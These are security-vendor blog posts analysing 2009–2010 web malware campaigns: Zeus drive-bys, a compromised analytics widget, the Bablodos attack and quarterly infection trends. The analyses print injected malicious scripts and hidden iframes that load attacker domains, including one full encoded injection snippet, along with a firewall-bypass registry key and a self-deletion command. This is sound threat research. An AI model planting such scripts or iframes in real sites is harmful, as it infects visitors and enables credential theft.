Something to consider: How much traffic do malware-ridden "parked domains" really get?

Over the past few days, there have been widespread reports that parked domains hosted by Network Solutions have been serving up malware, probably for several months. We are definitely glad to see that there is a growing awareness of the threat of web-based malware due to widgets, but one question that seems to be unanswered here is: “what is the true impact of this threat, when compared to say popular widgets or infected web applications?”

In our research at Dasient, we have seen that when popular traffic or audience measurement widgets get infected, for instance, thousands of top-ranked sites can be turned into malware distribution vehicles, and infect hundreds of thousands or millions of users. This begs the question: how much traffic would 500k ‘parked domains’ really get, and how many users are truly infected?

According to Richard Kershaw’s search and affiliate marketing blog, parked domains do not receive much traffic at all. In a July 2009 study Richard wrote:

“1,822,377 domains are parked with Sedo, says DomainTools.com as of 8 July 2009… Sedo’s most recent stats show a mere 25 domains get traffic in double digit per day. By the time we hit domain number 26 in their rankings, we’re in single digits... So 0.001% of domains parked with Sedo get double digit per day traffic. Or to put it another way, 99.999% of domains parked with Sedo don’t hit double digits daily.”

The overwhelming majority of parked domains do not get any traffic on a daily basis, which means that only a limited number of Internet users were impacted by the malware being served at Network Solutions. (Certainly, that may be why the problem was not even noticed for a few months.) In addition, according to Brian Krebs in his latest blog post on the matter, “One potentially limiting factor in this attack was that it seemed to target Chinese Web surfers,” which would further reduce the impact of this attack on end users.

To further underscore the issue here, one should contrast this with the information Dasient published regarding a widget attack against a major traffic and audience measurement provider in May, in which some very large Quantcast 100 sites were impacted, in addition to thousands of other legitimate websites that have significant user base.

Another more impactful example of web-based malware propagation is Gumblar which was a more significant attack as it hijacked many diverse sites (over 80,000 confirmed and distinct sites), and was much more persistent due to its architecture in which it would compromise diverse web sites via stolen FTP credentials, infect clients to steal more FTP credentials, and, in turn, compromise more diverse web sites. In fact, even after six months after the initial outbreak of Gumblar in May 2009, it continued to infect web servers, and there was no "easy" mitigation (like commenting the widget out of a single parked domain template). Also, our research at Dasient concludes that malvertising impacts many more users on a daily basis (1.3 million page views, by our estimates).

So while it’s good that malware found in third-party widgets is being identified and discussed in the community, it is important to look at such attacks in perspective and focus the discussions on the threats that actually have a real impact on businesses and users. Malware injected onto parked domains is unlikely to have the scale and reach of attacks against legitimate websites, such as the Gumblar attack or attacks against widgets used by legitimate websites.

At Dasient, we have been publishing information about the threat of web-based malware and its impact on businesses and users since 2009. We look forward to continuing to share the latest information from our research over the coming weeks and months.

More Zeus via drive-by, now improved with targeted phishing against banks

By Tufan Demir, Neil Daswani, Rajesh G.

Date first added to infection library: June 8, 2010
Infection library link: http://wam.dasient.com/wam/infection_library/cdc7f46229a8abfcad40538bfe08f1bd

The Zeus botnet has been spreading via drive-by-download since late last year (e.g. http://www.scmagazineus.com/zeus-spreading-through-drive-by-download/article/158691/), but as they say in the security community -- attacks only get better. In such previous cases, the goal of the drive-by-download was singular: have the infected client machine join the Zeus botnet and await further instructions. Dasient's researchers (using data from Dasient's telemetry systems) not only see Zeus malware continue to be distributed via drive-by-download, but such malware also has a second purpose: to distribute targeted phishing kits against the financial sector, including banks such as Citibank and HSBC. After joining the Zeus botnet, an infected machine will start keystroke logging to phish user credentials for banking web sites when the user casually visits bank home pages. In the following, we describe the technical details.

The combined Zeus/phishing kit malware drive-by-download is distributed via the malicious domain gate4ads.info (although other domains have been used as well). The gate4ads.info domain serves a malicious iframe that appears as follows on infected web pages:

<body><script language='javascript' type='text/javascript'>
var oVoid='oVoid'.substring(42997, 42997);
var yWord;
function jArcG(jArcG){return 'jArcG'};
yWord='%6b%60%68%69...

This script appears differently on each infected domain. Here's another example of the script:

<body class="dc-home"><script language='javascript' type='text/javascript'>
this.wordOn=53159;
var cEnvCont;
var pakCon='pakCon'.substring(3674, 3674);
cEnvCont='%bd%bd%bd%bb...

Even though the malicious script is polymorphic, its behavior doesn't change. It creates the following malicious iframe:

<iframe frameborder=0 src='http://gate4ads.info/t/'>

This iframe in turn creates another iframe:

<iframe src='http://itspitsp.com/elleO_o_/index.php?s=[random chars]&[random chars]' width=[random num] height=[random num] frameborder='0'>

The Malware Behavior

The binary that comes down to the user's machine is called updates.exe, and is placed in the temp folder on the user's machine:

http://www.virustotal.com/analisis/af6288cab4f0b0351ffc01a8a8386d476f423f590be47cc85c54850cc6dbf642-1276130170

The binary replaces C:\WINDOWS\system32\sdra64.exe with the new file "updates.exe" and creates a registry entry to enable it to start automatically on reboot. Creating such a registry entry is a common technique that attackers use to make sure their malware always runs even when the user reboots their machine.

This executable attempts to get the PC to join the Zeus botnet.
http://anubis.iseclab.org/?action=result&task_id=176041d5651e7ef84299f5ddb50a8b1f1&format=html

It gets the configuration file from this url:
itspitsp.com/zeusO_o_/conf13.bin

This configuration file is in encrypted format. The virus decrypts it with the key hidden in its body. The decrypted configuration file tells the virus which bank sites to monitor. When the user visits one of the following urls, the virus will intercept the traffic and present a fake webpage to steal user credentials such as account number, user id and password, transaction numbers etc. The stolen information is logged and delivered to a drop site at a later point in time.

The list of banks that are being targeted:

1. http://internetbanking.gad.de/banking/
2. http://hsbc.co.uk
3. http://www.mybank.alliance-leicester.co.uk
4. http://www.citibank.de


Source of Attack

gate4ads. info is registered in Netherlands.

Domain ID:D33147654-LRMS
Domain Name:GATE4ADS.INFO
Created On:01-Jun-2010 04:39:28 UTC
Last Updated On:01-Jun-2010 18:45:48 UTC
Expiration Date:01-Jun-2011 04:39:28 UTC
Sponsoring Registrar:Directi Internet Solutions Pvt. Ltd. dba PublicDomainRegistry.com
(R159-LRMS)
Status:CLIENT TRANSFER PROHIBITED
Status:TRANSFER PROHIBITED
Registrant ID:PP-SP-001
Registrant Name:Domain Admin
Registrant Organization:PrivacyProtect.org
Registrant Street1:P.O. Box 97
Registrant Street2:Note - All Postal Mails Rejected, visit Privacyprotect.org
Registrant Street3:
Registrant City:Moergestel
Registrant State/Province:
Registrant Postal Code:5066 ZH
Registrant Country:NL
Registrant Phone:+45.36946676
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:


The domain itspitsp.com resolves to a server hosted in China:

Domain name: itspitsp.com
Status: Active

Protection Status: public
( make contact info private at http://www.now.cn/domain/domainPrivate.php )

Registrant:
Name: itspitsp.com
Address: Volodarskiy
City: undefined
Province/state: IZJEVSK
Country: CN
Postal Code: 519000

Administrative Contact:
Name: itspitsp.com
Organization: itspitsp.com
Address: Volodarskiy
City: undefined
Province/state: IZJEVSK
Country: CN
Postal Code: 519000
Phone: +84.7562425583
Fax: +84.5762425583
Email:


Summary

The gate4ads .info attack is novel in that it propagates a virus with dual purposes: (1) adding end user PCs to the Zeus botnet, and (2) distributing targeted phishing and keystroke logging attacks against the financial sector. Also noteworthy is that the malware infection planted on websites is polymorphic in nature-- the javascript "attack string" injected onto each compromised legitimate website is different than the others. Thus, a signature-based approach for identifying the malware infection on websites would not succeed. Dasient's malware analysis engine, which primarily uses behavioral-based technology, identifies such malware infections every time.

According to Google, the gate4ads .info site was involved in infecting 642 other sites. (http://google.com/safebrowsing/diagnostic?site=gate4ads.info&hl=en). All of these sites, were they leveraging Dasient's Web Anti-Malware (WAM) monitoring and remediation services, would have been able to identify and contain this malware attack prior to getting blacklisted by Google. More importantly, the sites would have been able to protect their users from being infected with the virus that would add their PC to the Zeus botnet and keystroke log their banking passwords.

Financial institutions are specifically at risk from the gate4ads .info attack. If this attack was able to successfully penetrate the website of one of the banks being targeted with the keystroke logging, then all of that bank's users would be at risk for having their credentials stolen. Clearly, this would be a major security breach for the bank, and would allow the attackers to compromise large numbers of user accounts. Also as important, if it was discovered that a bank's website was compromised and was serving malware, this would result in major brand and reputation losses for the bank.

Dasient provides specific services for banks and financial institutions to secure them from web-based malware attacks. For more details, visit http://wam.dasient.com/wam/products_overview.

Third-party JavaScript widget discovered to be infected with malware

Potentially thousands of legitimate websites that embed the widget are serving malware to their users.

Many websites use third-party JavaScript widgets for counting traffic, tracking users, sharing content, displaying video, enabling polls, and providing other user functionality. The use of third-party widgets has enabled rich user functionality and analytics. However, as noted by Jeremiah Grossman in his blog post "Web 2.0 pivot attacks", in a security context, websites that use third-party widgets "essentially allow arbitrary executable code, supplied by a third party, complete access to the web page DOM and the user’s session information." This could, of course, be used to infect the website’s users with malware. Tom Stripling also discusses the dangers of third-party JavaScript widgets, as well as user contributed content.

In a research paper published by Google titled “The Ghost in the Browser,” researchers claimed that third-party widgets were one of the primary vectors of attack for a website to get infected with malware.

We identified a free statistics counter that operated fine for almost four years, “when the nature of the counter changed and instead of cataloging the number of visitors, it started to exploit every user visiting pages linked to the counter… In this particular case, the user visited a completely unrelated web site that was hosting a third-party web counter. The web counter was benign for over four years and then drastically changed behavior to exploit any user visiting the site. This clearly demonstrates that any delegation of web content should only happen when the third party can be trusted.”

Just this past weekend, the Dasient security research team identified a third-party JavaScript widget that was responsible for infecting web users at a large Quantcast 100 website. The third-party widget in question was from a reputable market research and analytics firm, and the widget was used for traffic analysis and audience demographics. (Our team has been in contact with the Quantcast 100 website, and is also reaching out to the widget provider in order to help resolve this problem.)

This third-party JavaScript code was included among a number of other tracking tags present on several thousand URLs of the Quantcast 100 website. The JavaScript code (after being anonymized) is as follows:

// xxxxxx tagging
XXXX.require('//secure-us.xxxxxxxxxxxx.com/xxx.js', function () {
    var trac = nol_t({
        cid: 'xx-xxxxxxx',
        content: '0',
        server: 'secure-us'
    });
    trac.record().post();
});

In turn, http://secure-us.xxxxxxxxxxxx.com/xxx.js served the following complicated JavaScript code:

function NolTracker(b,a){this.pvar=b;this.mergeFeatures(a)}function nol_t(b,a){return new NolTracker(b,a)}NolTracker.prototype.version="6.0.9";NolTracker.prototype.scriptName=(function(){try{var b=document.getElementsByTagName("script");var c=b[b.length-1].getAttribute("src").match(/[^\/]*$/)}catch(a){}return c||"xxx.js"})...

At the end of the complex JavaScript was a malicious iframe sourcing in content from:
http://94. 75. 210. 6/measure/

What is notable about the attack above is that the JavaScript code is so complex, it would be difficult for even a technical person to parse the code quickly and identify the malicious iframe at the end. Furthermore, the attackers have used the pathname "measure" on the malicious domain in an effort to further obfuscate their attack. As a result, a technical person who was investigating the cause of the malware might not pay attention to the iframe; he or she could easily assume that this was part of the legitimate JavaScript code that was measuring user traffic on the website.

The attackers compromised this third-party analytics provider's JavaScript code and embedded the malicious iframe. A quick search on Google for the JavaScript code showed over 19,000 results of websites which contained this provider's analytics code. Thus, the attackers were able to stripe their web-based malware over thousands and thousands of legitimate websites (including multiple Quantcast 100 websites) by infecting the third-party analytics provider's JavaScript code with the malicious iframe.

There is a significant implication for web businesses. The "widgetization" of the web will continue to create opportunities such as the one detailed in this post for attackers to infect legitimate websites with malware. Any third-party code included in a legitimate website can be compromised and exploited to serve malware. In fact, the attackers have an incentive to infect these JavaScript widgets as a way to achieve scale and get "back door access" to popular websites. The concern for web businesses is that, despite all of the security operations and software development practices that they may have in place, there are dependencies on third-parties for rendering functionality on web pages on their site. And a particular web business has no control over the security practices of the third-party partner, which can get compromised, as was evident from the attack described above.

It is unrealistic to believe that web businesses will be able to remove all third-party software and JavaScript code from their websites. The "widgetization" of the web will only accelerate, as the trend towards distributed software development, interactivity, and combining best-of-breed software and widgets continues. Despite a web business having significant preventative security measures in place, its website is vulnerable to serving malware due to the use of third-party JavaScript widgets. Therefore, it is critical that web businesses monitor their websites (and thus their third-party JavaScript widget providers) for malware on a regular basis. An attack where a reputable partner gets compromised and infected with malware could happen any time, and it is important that the web business can respond immediately if such an attack occurs. Otherwise, the web business is at risk of serving malware to its users, which would result in users getting infected with malware; significant losses of brand, reputation, and revenue; and potential liability issues. Companies can use Dasient's Web Anti-Malware (WAM) monitoring service to defend their websites against the prospect of third-party widgets getting infected with malware.

Q1'10 web-based malware data and trends

Each quarter we pull together data for web-based malware attacks from across the web. Our proprietary malware analysis platform allows us to monitor millions of websites and draw results from a wealth of data which we summarize in this blog. What we continue to see is that the web malware threat continues to grow significantly. Hackers are becoming increasingly sophisticated and bold in their attacks, which means that legitimate websites are more threatened than ever. Putting web site security best practices in place such as malware monitoring and containment is becoming an absolute must if businesses do not want to expose themselves and their customers to these attacks. A particularly interesting observation has been an increase in 'malvertising' attacks in which hackers plant malicious ads on high-profile ad networks and websites. We'll dig deeper into that but first, let's take a look at some of our results:

The Q1 2010 Data

In Q1 2010, we estimate that over 720,000 web sites were infected. While this number is significantly higher than our previous estimate of 560,000 infected web sites during Q4 2009, we also improved our methodology based on new telemetry from scanning a larger number of sites on the Internet and that accounts for infected sites that were previously not included.

This number does not only include small to medium sites getting infected, but also larger, high-profile websites (including Fortune 500 companies). Larger sites are desirable targets because of their high volume of traffic. It's much more convenient for an attacker to compromise an existing site than to try and build web traffic to a site they set up from scratch.

The challenge for websites is that there are many different ways for them to get infected. For example, a site that uses a javascript widget that is hosted externally could be at risk for getting compromised with web-based malware, as discussed in a Google report. Or publishers, blogs and other content providers that use third-party ad networks are at risk of having malvertisements introduced to their users on their site. Many sites (large and small) also rely on third-parties to provide packaged software that powers applications on their website. Examples include content management systems, blogging software, web server software, etc. It is often difficult for websites to constantly keep the software running their site up-to-date and patched to the latest version. Keeping server side web applications up-to-date is just as or even more challenging than keeping client side software up-to-date and patched. Even patched applications have vulnerabilities, which emphasizes the need for malware monitoring to mitigate risk due to both known and unknown vulnerabilities in web applications. In fact, in April there was a mass attack on Wordpress where attackers exploited a vulnerability to infect thousands of websites with malware.

As part of our quarterly malware update, we performed a study of a large pool of websites where we identified the risk factors on those sites that may contribute to malware infections. The results were surprising. We found that 97% of Fortune 500 web sites are at a high risk of getting infected with malware due to external partners (such as javascript widget providers, ad networks, and/or packaged software providers). In fact, Fortune 500 web sites have such a high risk because 69% of them use external Javascript to render portions of their sites and 64% of them are running outdated web applications. (We will be publishing a more in-depth study of malware-specific vulnerabilities on websites in the future.)

On a side note: We launched a new service in Q1 called the Dasient Malware Risk Assessment which allows us to run risk profiles on our customers, giving them information on where they are most exposed to web malware. We obtained the above-mentioned results by running our Malware Risk Assessment on a significant number of industry-specific web sites. If any of you are interested in running such an assessment on your web site, please fill in the form and we'll get you started.

Getting back to our statistics: reinfection rates decreased slightly from 42.4% to 40.5%; although, in general, the probability that a web site will get re-infected is still very high. And, of course, higher re-infection rates mean the site has a higher likelihood of suffering from loss of traffic, a decline in revenue, and damage to brand equity.

The average number of processes that infected web sites start on compromised machines is 3.03 (up from 2.8). Although a little higher than last quarter this is still indicative to us that attackers are getting smarter about the way they structure their attacks, opting for a smaller fingerprint on an infected machine, as historically attackers have started up to a dozen or more new processes on machines they compromise.
23.8% of new processes started due to drive-by-downloads had one character filenames such as “a.exe” or “f.exe”.

Attackers prefer to use “.com” domains to host malware. “.com” was the most popular followed by “.cn”. The domain “dnparking.com” was an attacker site used to infect a relatively large number of sites early in the quarter.

ASP, HTML, and PHP pages were the most infected in that order. The combined number of ASP and PHP pages infected shows an increase in dynamic content being infected this quarter which once again emphasizes the growing complexity in web sites and web applications.

Uptick in Anti-Malvertising attacks in Q1

One of the major trends observed is the spike in malvertising attacks since the beginning of 2010.
While content and feature-rich advertisements have been used on the web for some time, attackers are investing more in using them as a channel to distribute drive-by malware downloads.

Viruses and other malware were found to be lurking in ads on high-profile sites like The New York Times, Drudge Report.com, TechCrunch and WhitePages.com as well as by big ad delivery platforms such as Yahoo, Fox and Google.

We thought it may be useful to describe how malvertising attacks work, in general. In a typical attack, the hacker signs up to place an ad on a victim ad network (often using a stolen credit card), or compromises the credentials of an existing advertiser on an ad network. If the attacker signs up for a new account with an ad network, the attacker often places a legitimate-looking ad first, and switches it for a malicious ad once the attacker "gains trust" with the ad network. As some ad networks have stricter policies and/or vetting processes around the posting of ads for relatively new advertisers, some attackers simply compromise the login credentials of already existing, legitimate advertisers.

Given that so much of the web is monetized via advertising streams, it is a wonder that malvertising attacks aren't worse than they are, and the malvertising attacks over the past few weeks could be a harbinger of the growing threat to online advertising commerce.

Now that we have discussed high-level trends from the update, let's take a closer look at what the malware does once it is downloaded to a user's PC.

What is the Malware doing?

In many cases, the malware was trying to join a botnet. Botnets are networks of PCs, which have been taken over by malware programs. What the botnet will end up doing depends on what the botnet 'master' wants it to do but usually it will hook processes to capture keystrokes, send email spam etc. Some of the more common mechanisms to conduct drive-by-downloads included taking advantage of Adobe PDF exploits, and encouraging users to click on socially engineered fake AV windows to initiate dangerous downloads. In particular the 'Zeus' botnet has become very widely spread. Netwitness, based in Herndon, VA, released a report highlighting the kind of havoc the malware can wreak. It documents a Zeus botnet that controlled nearly 75,000 computer in more than 2,400 organizations, including some large and reputable ones such as Merck, Juniper Networks and the Hollywood Studio Paramount Pictures. Over four weeks, the botnet was used to steal more than 68,000 log-in credentials, including thousands of Facebook log-ins and Yahoo email log-ins.

Another interesting observation from our research is how attackers interact with government web sites.

Cybercriminals not interested in CyberWar (yet?)

Attackers use automated scripts to query search engines to get lists of vulnerable sites, and then have their scripts automatically infect sites. Their scripts are typically not very discriminating about which sites they attack. Government-run web sites, for instance, are also likely to be attacked by these automated scripts. For example, last month a part of the Environmental Protection Agency's (EPA) web site was infected, and in May the US Treasury had three of its web sites hacked.

It seems, though, that the attackers conducting such attacks are purely in it for the money. One might imagine that inadvertently attacking certain government web sites might provoke a serious (even military) reaction. Hence, while the attackers want to distribute their malware for fun and profit, they want to stay away from starting an all-out cyberwar. Why do we say that? In some of the attacks that we track, we have seen JavaScript code such as the following, which attackers inject:

if (document.location.href.indexOf("gov") >= 0) {
} else {
  document.write("<div style="'display:none'">");
  document.write(unescape('%3Ciframe%20src%3Dhttp%3A//%6B%6F%74%73%2E%39%39%36%36%2E%6F%72%67:%39%37/%78%6F/%64%6B.html%20width=100%20height=0%3E%3C/iframe%3E'));
  document.write("</div>");
}

Basically, the code above says that if the web site attacked is a government web site, then DO NOT serve a malware drive-by-download. Otherwise, it happily generates an invisible frame on the page that pulls in malicious content onto the page which initiates a drive-by-download. What is interesting here is that while an attacker's script may automatically inject the code above into any website, the code is careful not to serve malware to visitors, including government employees, as doing so could be interpreted as an act of cyber-war. What is also interesting that the attackers could decide to launch a cyber-war at any time.

Summary

Based on our research, it is evident that the malware epidemic is growing rapidly. With cybercrime techniques getting more sophisticated every day, it is critical to educate businesses on how they can put safe security practices in place for their websites to protect their customers and their revenues. In order to make sure that their businesses are not exposed, web sites can mitigate their risk by monitoring their websites for malware regularly.

If you're a business owner and you'd like to learn more about how Dasient WAM can help protect your websites, head here. If you're a web hosting provider and you'd like to learn about partnership opportunities with Dasient, check out this page. And no matter who you are, please be sure to check out our Twitter feed for all the latest in web-based malware and general security news.

Keep your sites safe!
Your Dasient Team

Anatomy of the Bablodos drive-by-download attack

Hackers have come to rely less on distributing malware via email
attachments, and have opted for infecting legitimate websites with
drive-by-downloads as the de facto way of more aggresssive
distribution. Just by loading an infected web page in a browser, a
virus can be downloaded to a computer without knowledge of the user.
The implications are often disastrous and range from reputation/brand
and revenue loss to data theft.

One particular attack stood out due to the number of exploits it
used and the number of processes it started -- it was quite "blatant".
While hackers often take steps to evade detection, Bablodos didn't
seem to bother. Based on Dasient's last malware report for 2009
the average number of extra processes initiated by hackers in Q4 '09
was just 2.8 -- enough for a downloader and perhaps one or
two pieces of malware. (As a comparison, in previous years,
a drive-by download would often initiate 10 or more
extra processes, ostensibly in an attempt to maximize the return from
each infected endpoint.) This shows us that attackers are getting
smarter about the way they structure their attacks, opting for a
smaller fingerprint on an infected machine in exchange for a greater
likelihood of evading detection.

Enter bablodos.com. This brazen attack took advantage of a large
number of different vulnerabilities on the user's computer, modified
personal firewall settings and then deleted itself off the disk after 5
seconds of starting as many as 8 processes. Obviously it wasn't trying to hide
anything and the goal was to cause as much damage as possible in a short amount of time.
Clearly, some of today's hackers aren't afraid of being detected.

So how exactly does this attack work?

STEP 1

Bablodos .com infects vulnerable sites by injecting obfuscated javascript code on their web pages.

Here is the first few bytes of the malicious JS snippet: "document.write(String.fromCharCode(60,116,97,98,108,101,32,98,111,114,100..."

This JS code sources in

bablodos .com/x/jar.jar
bablodos .com/counter/swf.swf
bablodos .com/counter/exe.php
bablodos .com/counter/pdf.php

to look for vulnerabilities in Flash and Pdf plugins and Java Runtime Environment.

STEP 2

Users visiting these victim sites get infected in the following way:

* An executable named file.exe is downloaded into the \Documents and Settings\%USER% folder, and run without the user's consent. It is classified as a downloader by many antivirus engines according to this Virustotal analysis.

* This executable bypasses the Windows Firewall by modifying the following registry key:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List

* Then it downloads additional malware and starts new processes as many as 8 into the temp folder that have file names comprised of 10 random character such as
SUHyAwDJUT.exe, AJvvOxjPBD.exe, YylDMSreSn.exe etc.

* To avoid detection, the downloaded malware is deleted from disk after starting execution with the command:
C:\WINDOWS\system32\cmd.exe /c timeout 5 && del %TEMP%\[10chars].exe

Since January of this year at least 50 sites have been hit by bablodos.com, some of which are:

123-real-estate-riverside .com
3rbytv .com
addisdimts .com
allmyanmar .com
ar-movies .blogspot.com
bellsnwhistles .com
cfusion .com
deskbeauty .com
dogtraininghealthcare .com
eetcorp .com
el34world .com
ericbae .com
faithfulnews .com
funinternet .net
games420 .com
ganoi .us
gdp .com
goldcoastsewing .com
goldmedaldeals .com
gospeladvocate .com
hamiltonknife .com
healthyhuman .net
hipforums .com
homeofourfathers .com
icarly-show .com
jerryswallpaper .com
jpickup .com
lyainc .com
maxeys .com
medicalartsschool .com
mideastreview .com
midorimiller .com
milwaukeenights .com
mjguide .com
mobilefull .com
npocu .org
patriotsbankmo .com
phuket-to-krabi .com
plentyofpuppies .com
pocketkittys .com
powertoolbattery .co.uk
scvan .org
shovelhead .us
tattoovirtual .com
thailandmagic .com
thailandsouthern .com
themes420 .com
travelbookingonline .com
tvgrounds .com
usa-battery .com
wallpapers2k .com

Had these sites been monitored by Dasient WAM they would have been alerted in real-time that the malware was on their site and they would have been able to contain the infection and prevent it from spreading.

Q4'09 web-based malware data and trends

Ed. Note: The data in this post is drawn primarily from Dasient's proprietary malware analysis platform, which gathers data on web-based malware attacks from across the web, and in the last year has been used to help tens of thousands of site owners address their web-based malware issues.

As we reported last quarter, the way malware is being distributed is undergoing a fundamental shift, with more attackers focusing on "drive-by downloads" from legitimate sites that have been compromised, or from sites designed specifically for malicious purposes. In nearly all the variations on this kind of attack, no user action is required for the infection to occur, beyond loading the site in a browser -- and there are very few signs that malicious code has been downloaded.

There is perhaps no better illustration of this shift than the way malware was employed in the recent attack on Google and several other companies. One of the components of the attack involved spear-phishing one or more Google employees, with an aim of driving them to a site that then exploited a zero-day vulnerability in Internet Explorer 6 to download malware to those employees' computers. In previous years, such an attack would have solely made use of a malicious email attachment to compromise the target's computer; now, attackers are clearly opting to employ multiple vectors, including web-based methods.

Looking at the data for Q4'09

Based on the telemetry data we've gathered from the web, we estimate that more than 560,000 sites and approximately 5.5 million pages were infected in Q4'09, compared with more than 640,000 sites and 5.8 million pages in Q3'09. By the end of the year, we had identified more than 100,000 web-based malware infections.

Also in Q4'09, the infections on newly compromised sites of 10 pages or more spread to an average of 24% of those sites' pages, up from 19 percent the previous quarter. This increase helps account for the smaller drop in the number of infected pages for the quarter, relative to the drop in infected sites. In other words, we saw a more significant drop in the number of infected sites than we did in the number of infected pages because each infection tended to spread to a larger number of pages on each site.

Finally, we saw a reinfection rate of 42 percent for the quarter (compared with 39 percent in Q3'09), meaning that more than four of every 10 sites infected in the quarter were reinfected within a space of three months. And, of course, with each infection the site is likely to suffer a loss of traffic, a decline in revenue, and damage to brand equity.

While we clearly saw a slight dip in some of the key metrics in the quarter (and, more specifically, as we neared the end of the year), the macro trend still points to a steady and significant increase in this kind of activity. To cite just one indicator: The number of infected pages for the quarter, 5.5 million, is a substantial increase from data published by Microsoft in April 2009, which pegged the number of infected pages per quarter at a little more than 3 million.

Attackers getting smarter

Like most other kinds of attackers, purveyors of web-based malware have long since adopted basic social engineering techniques to maximize their chances of remaining undetected as they infect endpoints. We saw plenty of evidence confirming that trend in Q4'09: For example, the most common domains being sourced in the download of a malicious file included innocuous-looking names like "google-query.com," "netlinkenterprises.com," and "starktourism.com." Similarly, the file names most often used in drive-by downloads included things like "setup.exe," "update.exe" (which was used in the Google attack), and "install_flash_player.exe."

But we also saw some evidence that attackers are responding directly to industry efforts to curb the spread of web-based malware. One interesting example can be found in the average number of extra processes started when a drive-by download is initiated. In previous years, a drive-by download would often initiate 10 or more extra processes, ostensibly in an attempt to maximize the return from each infected endpoint. In response, the search providers and anti-virus vendors who scan the web for infected sites began using the number of extra processes initiated as a signal that the webpage might be malicious. But in Q4'09, the average number of extra processes initiated was just 2.8 -- enough for a downloader and perhaps one or two pieces of malware. Clearly, attackers are getting smarter about the way they structure their attacks, opting for a smaller fingerprint on an infected machine in exchange for a greater likelihood of evading detection.

Structural vulnerabilities still being exploited

It stands to reason that the increasing complexity in and interoperability between websites and web applications has played a significant role in the rise of web-based malware. After all, the more dynamic and sophisticated your pages or applications are, the more vulnerabilities there will be for attackers to exploit. The data for Q4'09 certainly bears that out: .php, .asp, and .aspx (all file types associated with dynamic web content) accounted for 55 percent of all compromised URLs in the quarter.



Of course, a closer look at the data reveals that file types associated with static pages, such as .html, .htm, and .shtml, accounted for 39.6 percent of the compromised URLs for the quarter. This suggests that attackers are still focused in no small part on exploiting structural vulnerabilities in the web to compromise legitimate sites -- vulnerabilities like sourced-in third-party content or applications; user-added content like comments, links, photos, and other files; and syndicated ad networks, among other things. There are no simple solutions for closing these kinds of vulnerabilities, something that all site owners who want to avoid being infected -- and potentially infecting their users and being blacklisted -- should bear in mind when considering the protections they employ.

Keeping your site safe

If you're a business owner and you'd like to learn more about how Dasient WAM can help protect your websites, head here. If you're a web hosting provider and you'd like to learn about partnership opportunities with Dasient, check out this page. And no matter who you are, please be sure to check out our Twitter feed at http://twitter.com/dasient for all the latest in web-based malware and general security news.

Dasient WAM monitoring and diagnostic services now OOB

Some of you may have already seen our announcement earlier this morning, but for those of you who haven't: The Dasient Web Anti-Malware (WAM) monitoring and diagnostic services have graduated out of beta, and are now generally available. We've had an exciting few months since first launching these services, continuing to build out the scalability, reliability, and speed of our malware detection platform and proving its readiness with tens of thousands of beta customers. We're thrilled to be able to make these services generally available, so we can help even more businesses and site owners protect themselves from web-based malware.

With the graduation out of beta, we'll be introducing some new features. They include richer reporting tools that will provide customers with data on the number of URLs scanned each week, lists of all URLs scanned and attacks being checked for, and the latest web-based malware attacks Dasient has detected. They also include new account management features that will enable customers using Dasient WAM to protect multiple domains to manage all those domains using a single login.

Other new updates include significant upgrades to the overall speed and reliability of the Dasient WAM scanning technology, as well as the ability to scan customer sites for links to dangerous downloads that might be placed in user-generated content or in syndicated ads on those sites.

We've also launched a redesign of Dasient.com that features some new resources for current and potential customers. Head here to learn a little more about web-based malware and the threat it poses to businesses and site owners of all types and sizes. Or check out some of our customer testimonials, to hear firsthand how Dasient WAM helped them. We also have a new whitepaper on drive-by downloads and other web-based malware threats.

To learn more about how Dasient WAM can help you protect yourself from the threat of web-based malware -- and the attendant loss of traffic, decline in revenue, and damage to brand equity -- check out our product page.